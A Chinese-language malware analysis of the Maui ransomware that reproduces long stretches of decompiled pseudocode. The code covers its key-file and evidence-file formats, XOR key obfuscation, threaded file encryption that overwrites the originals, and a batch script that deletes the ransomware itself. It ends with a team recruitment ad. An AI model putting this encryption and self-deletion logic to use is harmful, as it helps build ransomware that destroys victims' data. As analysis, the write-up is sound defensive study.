像 Conti、LockBit、BlackCat 这些 RaaS(勒索软件即服务)的经济系统已经很好识别了,但是在这些系统之外,有一些比较小众。
Maui 在 2022 年 6 月发现,手动操作进行文件加密等。
主函数
if ( argc_1 < 2 )
{
wprintf(L"Usage: maui [-ptx] [PATH]\n");
wprintf(L"Options:\n");
wprintf(L"-p dir:\tSet Log Directory (Default: Current Directory)\n");
wprintf(L"-t n:\t\tSet Thread Count (Default: 1)\n");
wprintf(L"-x:\t\tSelf Melt (Default: No)\n");
exit(0);
}
v2 = 1;
v11 = 0;
v12 = 0;
log_path = 0;
thread_num = 1;
do
{
if ( !wcscmp((const unsigned __int16 *)argv_1[v2], L"-p") )
{
v3 = argv_1[++v2];
v11 = 1;
log_path = (const wchar_t *)v3;
}
else if ( !wcscmp((const unsigned __int16 *)argv_1[v2], L"-t") )
{
v4 = (const wchar_t *)argv_1[++v2];
swscanf(v4, L"%d", &thread_num);
}
else if ( !wcscmp((const unsigned __int16 *)argv_1[v2], L"-x") )
{
v12 = 1;
}
++v2;
}
用户体验很好,敏感肌也可以用,首先提示了一些参数,并且解析这些参数
如果设置了日志路径,则解析一下日志路径,并去掉结尾不必要的\
__int16 *__usercall [email protected]<eax>(const wchar_t *[email protected]<eax>)
{
__int16 *result; // eax
signed int i; // esi
bool v3; // zf
__int16 v4; // cx if ( !a1 )
return (__int16 *)-1;
result = (__int16 *)_wcsdup(a1);
dword_4B9A70 = result;
for ( i = wcslen((const unsigned __int16 *)result) - 1; i >= 0; dword_4B9A70[i + 1] = 0 )
{
v3 = iswspace(result[i]) == 0;
result = dword_4B9A70;
if ( v3 )
{
v4 = dword_4B9A70[i];
if ( v4 != '\\' && v4 != '/' )
break;
}
--i;
}
return result;
}
_DWORD *__thiscall sub_401670(_DWORD *this)
{
FILE *v2; // eax
FILE *v3; // ebx
void **v4; // edi
void *v5; // eax
int Buffer[2]; // [esp+8h] [ebp-410h] BYREF
size_t ElementSize; // [esp+10h] [ebp-408h]
WCHAR Filename[512]; // [esp+14h] [ebp-404h] BYREF sub_403CC0();
*this = &CMauiKeyManager::`vftable';
GetModuleFileNameW(0, Filename, 0x200u);
v2 = _wfopen(Filename, L"rb");
v3 = v2;
if ( !v2 )
{
wprintf(L"Unable to read public key info.\n");
exit(-1);
}
fseek(v2, -12, 2);
fread(Buffer, 0xCu, 1u, v3);
if ( Buffer[0] != 1347764811 )
{
wprintf(L"Unable to read public key info.\nPlease append it by <Godhead> using -maui option.\n");
goto LABEL_5;
}
if ( Buffer[1] != 1 )
{
wprintf(L"Incompatible public key version.\nPlease overwrite it by <Godhead> using -maui option.\n");
LABEL_5:
fclose(v3);
exit(-1);
}
this[10] = 0;
v4 = (void **)malloc(0x10u);
v5 = malloc(0x2800u);
v4[1] = 0;
*v4 = v5;
v4[3] = 0;
v4[2] = (void *)10240;
v4[1] = (void *)ElementSize;
fseek(v3, -12 - ElementSize, 2);
fread(*v4, ElementSize, 1u, v3);
fclose(v3);
this[10] = sub_404460(v4, 0);
free(*v4);
free(v4);
return this;
}
公钥信息保存在可执行文件的最后 12 字节中,并且有特定的 magic number PUBK
,并有版本指示
如果 magic number 和版本都正确,则根据长度读取公钥,并 Load
char __userpurge [email protected]<al>(const WCHAR *[email protected]<eax>, char *a2)
{
//。。。 v25 = 0;
v27 = 0;
v26 = 0;
if ( !GetFileAttributesExW(a1, GetFileExInfoStandard, FileInformation) )
return 0;
if ( (FileInformation[0] & 0x10) != 0 )
return 0;
file_size = v33 + ((unsigned __int64)v32 << 32);
file_handle1 = _wfopen(a1, L"rb");
file_handle2 = file_handle1;
if ( !file_handle1 )
return 0;
if ( file_size > 0x100000 )
{
file_handle3 = file_handle1;
LABEL_6:
fclose(file_handle3);
return 0;
}
file_content = (char *)malloc(file_size);
v8 = file_content;
file_handle3 = file_handle2;
if ( !file_content )
goto LABEL_6;
if ( fread(file_content, 1u, file_size, file_handle2) != file_size )
goto LABEL_33;
fclose(file_handle2);
v9 = 0;
for ( i = 0; i < file_size; ++i )
{
v8[i] ^= a2[v9 + 24];
if ( (unsigned int)++v9 >= 0x10 )
v9 = 0;
}
if ( *(_DWORD *)v8 != 'DGOD' || *((_DWORD *)v8 + 1) != 1 )
goto LABEL_33;
v11 = *((_DWORD *)v8 + 2);
if ( v11 == 4 )
{
v12 = *((int *)v8 + 3);
v29 = *((_DWORD *)v8 + 3);
v13 = 16;
goto LABEL_19;
}
if ( v11 != 8 )
{
LABEL_33:
free(v8);
return 0;
}
HIDWORD(v12) = *((_DWORD *)v8 + 4);
v29 = *((_DWORD *)v8 + 3);
v13 = 20;
LABEL_19:
v14 = *(_DWORD *)&v8[v13];
v30 = HIDWORD(v12);
if ( v14 > file_size - v13 )
goto LABEL_26;
v15 = v13 + 4;
if ( v14 > 0 )
{
v16 = sub_404260();
v22 = (void *)*v16;
v28 = v16;
v16[1] = v14;
v16[3] = 0;
memcpy(v22, &v8[v15], v14);
v27 = sub_404460(v28, 0);
}
v17 = v14 + v15;
v18 = *(_DWORD *)&v8[v17];
if ( v18 > file_size - v17 )
{
LABEL_26:
v20 = 0;
v21 = v27;
}
else
{
if ( v18 > 0 )
{
v19 = (void **)sub_404260();
v23 = *v19;
v19[1] = (void *)v18;
v19[3] = 0;
memcpy(v23, &v8[v17 + 4], v18);
v26 = sub_404460(v19, 1);
}
v20 = v26;
v21 = v27;
v25 = 1;
*((_DWORD *)a2 + 4) = v29;
*((_DWORD *)a2 + 5) = v30;
*((_DWORD *)a2 + 2) = v26;
*((_DWORD *)a2 + 3) = v27;
}
free(v8);
if ( !v25 )
{
if ( v20 )
sub_404440();
if ( v21 )
sub_404440();
}
return v25;
}
如果没有,就生成 key 和 evd 文件。另外 key 是 DOGD 开头的
char __thiscall create_evd_file(_DWORD *this)
{
//... v2 = this + 2;
v23 = this;
v24 = (void ***)(this + 2);
result = sub_4045E0(this + 2, this + 3, 1024);
if ( result )
{
v4 = _time64(0);
this[4] = v4;
LODWORD(v4) = *v2;
this[5] = HIDWORD(v4);
v5 = (void **)sub_4044F0((_DWORD *)v4);
v22 = v5;
if ( !v5 )
{
wprintf(L"Unable to get private key\n");
exit(0);
}
memset(FileName, 0, 1026);
sub_401F90();
v6 = (char *)&v24 + 2;
do
{
v7 = *((_WORD *)v6 + 1);
v6 += 2;
}
while ( v7 );
*(_DWORD *)v6 = 92;
v8 = (char *)&v24 + 2;
do
{
v9 = *((_WORD *)v8 + 1);
v8 += 2;
}
while ( v9 );
*(_DWORD *)v8 = 0x61006D;
*((_DWORD *)v8 + 1) = 0x690075;
*((_DWORD *)v8 + 2) = 0x65002E;
*((_DWORD *)v8 + 3) = 0x640076;
*((_WORD *)v8 + 8) = 0;
v10 = _wfopen(FileName, L"wb");
v11 = v10;
if ( !v10 )
{
wprintf(L"Unable to create evidence file\n");
exit(0);
}
Buffer[0] = 1163282756;
Buffer[1] = 1;
v21 = 16;
fwrite(Buffer, 1u, 0xCu, v10);
fwrite(this + 6, 1u, 0x10u, v11);
v12 = malloc(0x80u);
v13 = (int)v5[1];
v14 = (char *)*v5;
Block = v12;
if ( v13 > 0 )
{
do
{
v15 = v13;
if ( v13 >= 116 )
v15 = 116;
v16 = sub_404560(Block, v23[10]);
if ( v16 < 0 )
{
wprintf(L"Unable to encrypt private key\n");
free(Block);
exit(0);
}
v21 += v16;
v14 += v15;
fwrite(Block, 1u, v16, v11);
v13 -= v15;
}
while ( v13 > 0 );
v5 = v22;
}
free(Block);
fseek(v11, 0, 0);
fwrite(Buffer, 1u, 0xCu, v11);
fclose(v11);
free(*v5);
free(v5);
v17 = v24;
v18 = *v24;
if ( *v24 )
{
if ( *v18 )
sub_41D800(*v18);
free(v18);
}
*v17 = 0;
return 1;
}
return result;
}
evd 文件以 DIVE 开头,并且保存了加密文件的相关信息,例如本次加密时使用私钥是通过硬编码在软件中的公钥加密保存的。
生成 key 的操作如下
char __stdcall sub_404140(_DWORD *a1, FILE *Stream)
{
//... v2 = malloc(0x100000u);
file_content = v2;
if ( v2 )
{
v5 = a1;
*v2 = 'DGOD';
v2[1] = 1;
v6 = a1[4];
v7 = a1[5];
file_content[2] = 8;
file_content[3] = v6;
file_content[4] = v7;
v8 = (_DWORD *)a1[3];
if ( v8 )
{
v9 = (const void **)sub_4044F0(v8);
v10 = (size_t)v9[1];
v20 = *v9;
file_content[5] = v10;
memcpy(file_content + 6, v20, v10);
v11 = v10 + 24;
free((void *)*v9);
free(v9);
}
else
{
file_content[5] = 0;
v11 = 24;
}
v12 = (_DWORD *)a1[2];
if ( v12 )
{
v13 = (const void **)sub_4044F0(v12);
v14 = (size_t)v13[1];
v15 = *v13;
*(_DWORD *)((char *)file_content + v11) = v14;
v16 = v11 + 4;
memcpy((char *)file_content + v16, v15, v14);
file_size = v14 + v16;
free((void *)*v13);
free(v13);
v5 = a1;
}
else
{
*(_DWORD *)((char *)file_content + v11) = 0;
file_size = v11 + 4;
}
v18 = 0;
for ( i = 0; i < file_size; ++i )
{
*((_BYTE *)file_content + i) ^= *((_BYTE *)v5 + v18 + 24);
if ( (unsigned int)++v18 >= 0x10 )
v18 = 0;
}
fwrite(file_content, 1u, file_size, Stream);
fclose(Stream);
free(file_content);
return 1;
}
else
{
fclose(Stream);
return 0;
}
}
key 文件以 DOGD 开头,并且使用一个 16 字节的 key XOR 加密,XOR key 每次加载是不变的,所以很方便重用。参考资料说是根据\\.\PhysicalDrive0
的有关信息生成
int __stdcall sub_402500(int a1, int a2, int Count)
{
size_t v3; // eax
_DWORD *v4; // ebx
int v5; // esi
_BYTE *v6; // eax
void *v7; // eax
_DWORD *v8; // eax
_BYTE *v9; // esi
signed int i; // [esp+10h] [ebp-8h]
_DWORD *Block; // [esp+14h] [ebp-4h] *(_DWORD *)(a1 + 8) = 0;
*(_DWORD *)(a1 + 12) = 0;
*(_DWORD *)(a1 + 16) = 0;
*(_DWORD *)(a1 + 20) = 0;
*(_DWORD *)(a1 + 24) = 0;
*(_DWORD *)(a1 + 28) = 0;
*(_DWORD *)(a1 + 32) = 0;
*(_DWORD *)(a1 + 36) = 0;
if ( a2 && Count >= 1 && (v3 = sub_4030D0(a2)) != 0 )
{
*(_DWORD *)a1 = calloc(v3, 0x10u);
sub_4030D0(a2);
sub_403700();
sub_401AC0(a2);
*(_BYTE *)(a1 + 1076) = 1;
*(_DWORD *)(a1 + 1068) = Count;
*(_DWORD *)(a1 + 1072) = calloc(Count, 4u);
for ( i = 0; i < Count; ++i )
{
v4 = calloc(1u, 0xCu);
*v4 = a1;
v4[1] = i;
v5 = *(_DWORD *)(*(_DWORD *)(a1 + 40) + 12);
if ( v5 )
{
v7 = sub_41CF40();
v8 = sub_41CEB0((int)v7);
Block = v8;
if ( *(_BYTE *)(v5 + 4) )
sub_41D920((int)v8, *(_DWORD *)v5);
else
sub_41D960(v8, *(_DWORD *)v5);
v6 = Block;
if ( Block )
{
v6 = (_BYTE *)sub_41D980(Block, 0);
v9 = v6;
if ( v6 )
{
v6 = calloc(1u, 8u);
*(_DWORD *)v6 = v9;
v6[4] = 0;
}
}
}
else
{
Block = 0;
v6 = 0;
}
v4[2] = v6;
if ( Block )
sub_41C8C0(Block);
*(_DWORD *)(*(_DWORD *)(a1 + 1072) + 4 * i) = CreateThread(0, 0, StartAddress, v4, 0, 0);
}
return 0;
}
else
{
sub_4037A0();
return -1;
}
}
sub_402500((int)v9, (int)argv_1[argc_1 - 1], thread_num);
int __thiscall sub_4031F0(int this, WCHAR *a2, const unsigned __int16 *a3, char *a4, int a5)
{
//... v5 = a3;
v44 = 0;
memset(FileName, 0, sizeof(FileName));
v7 = a2;
do
{
v8 = *v7;
*(WCHAR *)((char *)v7 + (char *)FileName - (char *)a2) = *v7;
++v7;
}
while ( v8 );
if ( wcslen(a3) )
{
v9 = &FindData.name[261];
do
{
v10 = v9[1];
++v9;
}
while ( v10 );
v11 = (char *)a3;
*(_DWORD *)v9 = 92;
do
{
v12 = *(_WORD *)v11;
v11 += 2;
}
while ( v12 );
v13 = v11 - (char *)a3;
v14 = &FindData.name[261];
do
{
v15 = v14[1];
++v14;
}
while ( v15 );
qmemcpy(v14, a3, v13);
}
if ( wcslen((const unsigned __int16 *)a4) )
{
v16 = &FindData.name[261];
do
{
v17 = v16[1];
++v16;
}
while ( v17 );
v18 = a4;
*(_DWORD *)v16 = 92;
do
{
v19 = *(_WORD *)v18;
v18 += 2;
}
while ( v19 );
v20 = v18 - a4;
v21 = &FindData.name[261];
do
{
v22 = v21[1];
++v21;
}
while ( v22 );
qmemcpy(v21, a4, v20);
v5 = a3;
}
if ( !GetFileAttributesExW(FileName, GetFileExInfoStandard, FileInformation) )
return 0;
if ( (FileInformation[0] & 0x10) != 0 )
{
memset(v51, 0, 1024);
v24 = 0;
do
{
v25 = FileName[v24];
v51[v24++] = v25;
}
while ( v25 );
v26 = &v50[511];
do
{
v27 = v26[1];
++v26;
}
while ( v27 );
*(_DWORD *)v26 = 2752604;
v26[2] = 0;
v28 = _wfindfirst64i32(v51, &FindData);
if ( v28 == -1 )
return 0;
do
{
if ( wcscmp(FindData.name, (const unsigned __int16 *)".") && wcscmp(FindData.name, L"..") )
{
memset(v50, 0, sizeof(v50));
v29 = (unsigned __int16 *)a4;
do
{
v30 = *v29;
*(unsigned __int16 *)((char *)v29 + (char *)v50 - a4) = *v29;
++v29;
}
while ( v30 );
if ( wcslen(v50) )
{
v31 = &FileName[511];
do
{
v32 = v31[1];
++v31;
}
while ( v32 );
*(_DWORD *)v31 = 92;
}
name = FindData.name;
while ( *name++ )
;
v35 = (char *)name - (char *)FindData.name;
v36 = &FileName[511];
do
{
v37 = v36[1];
++v36;
}
while ( v37 );
qmemcpy(v36, FindData.name, v35);
v44 += sub_4031F0(a2, a3, v50, a5);
}
}
while ( !_wfindnext64i32(v28, &FindData) );
_findclose(v28);
return v44;
}
else
{
if ( a5 )
{
*(_DWORD *)(16 * *(_DWORD *)(this + 8) + a5) = calloc(wcslen((const unsigned __int16 *)a4) + wcslen(v5) + 2, 2u);
v38 = a3;
v39 = *(_WORD **)(16 * *(_DWORD *)(this + 8) + a5);
do
{
v40 = *v38;
*v39++ = *v38++;
}
while ( v40 );
if ( wcslen((const unsigned __int16 *)a4) )
{
v41 = *(_DWORD *)(16 * *(_DWORD *)(this + 8) + a5) - 2;
do
{
v42 = *(_WORD *)(v41 + 2);
v41 += 2;
}
while ( v42 );
*(_DWORD *)v41 = 92;
wcscat(*(unsigned __int16 **)(16 * *(_DWORD *)(this + 8) + a5), (const unsigned __int16 *)a4);
}
v43 = v47 + ((unsigned __int64)v46 << 32);
*(_QWORD *)(16 * *(_DWORD *)(this + 8) + a5 + 8) = v43;
*(_QWORD *)(this + 16) += v43;
++*(_QWORD *)(this + 8);
}
return 1;
}
}
获取文件属性确定是否加密
int __usercall [email protected]<eax>(char *[email protected]<esi>, WCHAR *a2, char a3)
{
//... v3 = a2;
*(_WORD *)a1 = 0;
do
{
v4 = *v3;
*(WCHAR *)((char *)v3 + (char *)FileName - (char *)a2) = *v3;
++v3;
}
while ( v4 );
memset(FileInformation, 0, sizeof(FileInformation));
v20 = 0;
if ( !GetFileAttributesExW(FileName, GetFileExInfoStandard, FileInformation) )
return -1;
v6 = (FileInformation[0] & 0x10) == 0;
v18 = 0;
v7 = wcslen(FileName);
if ( !v7 || v7 > 1 && FileName[v7 - 1] == ':' )
return 0;
if ( v7 > 2 && FileName[v7 - 2] == ':' )
{
v8 = FileName[v7 - 1];
if ( v8 == 92 || v8 == 47 )
return 0;
}
if ( v7 == 1 )
{
if ( FileName[0] == '\\' || FileName[0] == '/' )
return -1;
v9 = FileName;
do
{
v10 = *v9;
*(WCHAR *)((char *)v9 + a1 - (char *)FileName) = *v9;
++v9;
}
while ( v10 );
return 0;
}
v11 = v7 - 2;
if ( v7 - 2 < 0 )
{
LABEL_28:
v13 = FileName;
do
{
v14 = *v13;
*(WCHAR *)((char *)v13 + a1 - (char *)FileName) = *v13;
++v13;
}
while ( v14 );
return 0;
}
while ( 1 )
{
if ( v6 && !a3 && FileName[v11] == 46 && !v18 )
{
FileName[v11] = 0;
v18 = 1;
}
v12 = FileName[v11];
if ( v12 == 92 || v12 == 47 )
break;
if ( --v11 < 0 )
goto LABEL_28;
}
v15 = &FileName[v11 + 1];
v16 = a1 - (char *)v15;
do
{
v17 = *v15;
*(WCHAR *)((char *)v15 + v16) = *v15;
++v15;
}
while ( v17 );
return 0;
}
加密后的文件文件头为TPRC
*v67 = (const void *)'CRPT';
v67[1] = (const void *)1;
v67[2] = *(const void **)v11;
v67[3] = *(const void **)(v11 + 4);
v67[4] = *(const void **)(v11 + 8);
v67[5] = *(const void **)(v11 + 12);
fwrite(v67, 1u, 8u, v59);
如果文件已加密则删除临时文件,否则使用 AES 32 字节密钥加密
v38 = _wfopen(FileName, L"rb");
v39 = v38;
Stream = v38;
if ( v38 )
{
if ( v58 >= 8 && (fread(v62, 1u, 8u, v38), fseek(v39, 0, 0), *v62 == 'CRPT') )
{
v43 = (volatile LONGLONG *)(v57 + 32);
do
{
v44 = *(_DWORD *)v43;
v45 = *(_DWORD *)(v57 + 36);
}
while ( InterlockedCompareExchange64(v43, v58 + *v43, *v43) != __PAIR64__(v45, v44) );
fclose(Stream);
fclose(file_handle);
_wunlink(TempFileName);
}
else
{
ElementCount = v58;
do
{
if ( !*(_BYTE *)(v57 + 1076) )
break;
if ( ElementCount >= 4096 )
v46 = 4096;
else
v46 = ElementCount;
fread(v62 + 8, 1u, v46, Stream);
v47 = v46 + 32;
v48 = (v46 + 32) % 32;
if ( v48 )
v47 += 32 - v48;
sub_404390(v64);
fwrite(v64, 1u, v47, file_handle);
v68 = v46;
v66 += v46;
v49 = (volatile LONGLONG *)(v57 + 32);
do
{
v50 = *(_DWORD *)v49;
HIDWORD(v56) = *(_DWORD *)(v57 + 36);
v51 = HIDWORD(v56);
LODWORD(v56) = *(_DWORD *)v49;
}
while ( InterlockedCompareExchange64(v49, *v49 + v68, v56) != __PAIR64__(v51, v50) );
ElementCount -= v68;
if ( *(_DWORD *)(v57 + 1080) )
sub_4038B0(*(_DWORD *)(v57 + 32), *(_DWORD *)(v57 + 36), v66, HIDWORD(v66), v58, HIDWORD(v58));
}
while ( ElementCount > 0 );
fclose(file_handle);
fclose(Stream);
if ( sub_403B40(TempFileName, FileName) == -1 && sub_403A90(TempFileName) == -1 )
sub_403820(6);
}
goto LABEL_71;
}
sub_403820(2);
v40 = (volatile LONGLONG *)(v57 + 32);
do
{
v41 = *(_DWORD *)v40;
v42 = *(_DWORD *)(v57 + 36);
}
while ( InterlockedCompareExchange64(v40, v58 + *v40, *v40) != __PAIR64__(v42, v41) );
}
fclose(file_handle);
_wunlink(TempFileName);
}
加密完成后从临时文件中读取加密后的内容,写入原文件
Offset = 0i64;
v7 = malloc(0x1000u);
v8 = v7;
if ( v7 )
{
memset(v7, 0, 0x1000u);
if ( v4 >= 0 && (v4 > 0 || v5) )
{
do
{
v9 = fread(v8, 1u, 0x1000u, v2);
if ( v9 <= 0 )
break;
v10 = fwrite(v8, 1u, v9, FileNamea);
if ( v10 <= 0 )
break;
Offset += v10;
if ( v10 < v9 )
fseek(v2, Offset, 0);
}
while ( Offset < v12 );
}
free(v8);
fclose(v2);
fclose(FileNamea);
return _wunlink(lpFileName);
}
这种方式加密的文件无法通过磁盘恢复工具恢复
如果设置了对应选项,则在加密完成后删除自身
if ( v12 )
sub_402200();
int sub_402200()
{
__int16 *v0; // eax
__int16 v1; // cx
FILE *v2; // esi
__int16 v4; // [esp-2h] [ebp-C2Eh] BYREF
WCHAR Buffer[512]; // [esp+0h] [ebp-C2Ch] BYREF
WCHAR Filename[512]; // [esp+400h] [ebp-82Ch] BYREF
wchar_t Command[532]; // [esp+800h] [ebp-42Ch] BYREF memset(Buffer, 0, sizeof(Buffer));
GetTempPathW(0x200u, Buffer);
v0 = &v4;
do
{
v1 = v0[1];
++v0;
}
while ( v1 );
*(_DWORD *)v0 = 6750308;
*((_DWORD *)v0 + 1) = 6553711;
*((_DWORD *)v0 + 2) = 6422574;
*((_DWORD *)v0 + 3) = 7602273;
v0[8] = 0;
v2 = _wfopen(Buffer, L"wt");
if ( v2 )
{
GetModuleFileNameW(0, Filename, 0x200u);
fputs("@ECHO OFF\n", v2);
fputs(":REPEAT\n", v2);
fputs("ping localhost -n 1\n", v2);
fwprintf(v2, L"TASKKILL /IM \"%s\"\n", Filename);
fwprintf(v2, L"del /f /q \"%s\"\n", Filename);
fwprintf(v2, L"if exist \"%s\" goto REPEAT\n", Filename);
fputs("(goto) 2>nul & del \"%~f0\"", v2);
fclose(v2);
}3
_swprintf(Command, L"start /b \"\" cmd /c \"%s\"", Buffer);
return _wsystem(Command);}
公钥是附在文件最后的,所以要想解密就必须从公钥中得到私钥。如果可以大素数分解、应用某些 RSA 攻击当然是可以解密,否则无法解密。另外这个恶意软件很可能是某次攻击中的一部分,由 Loader 下发并执行。可以精确加密某个文件,并且送回凭证。
参考资料中给了一个解析公钥的 python PoC
[1] https://stairwell.com/wp-content/uploads/2022/07/Stairwell-Threat-Report-Maui-Ransomware.pdf
end
招新小广告
ChaMd5 Venom 招收大佬入圈
新成立组IOT+工控+样本分析 长期招新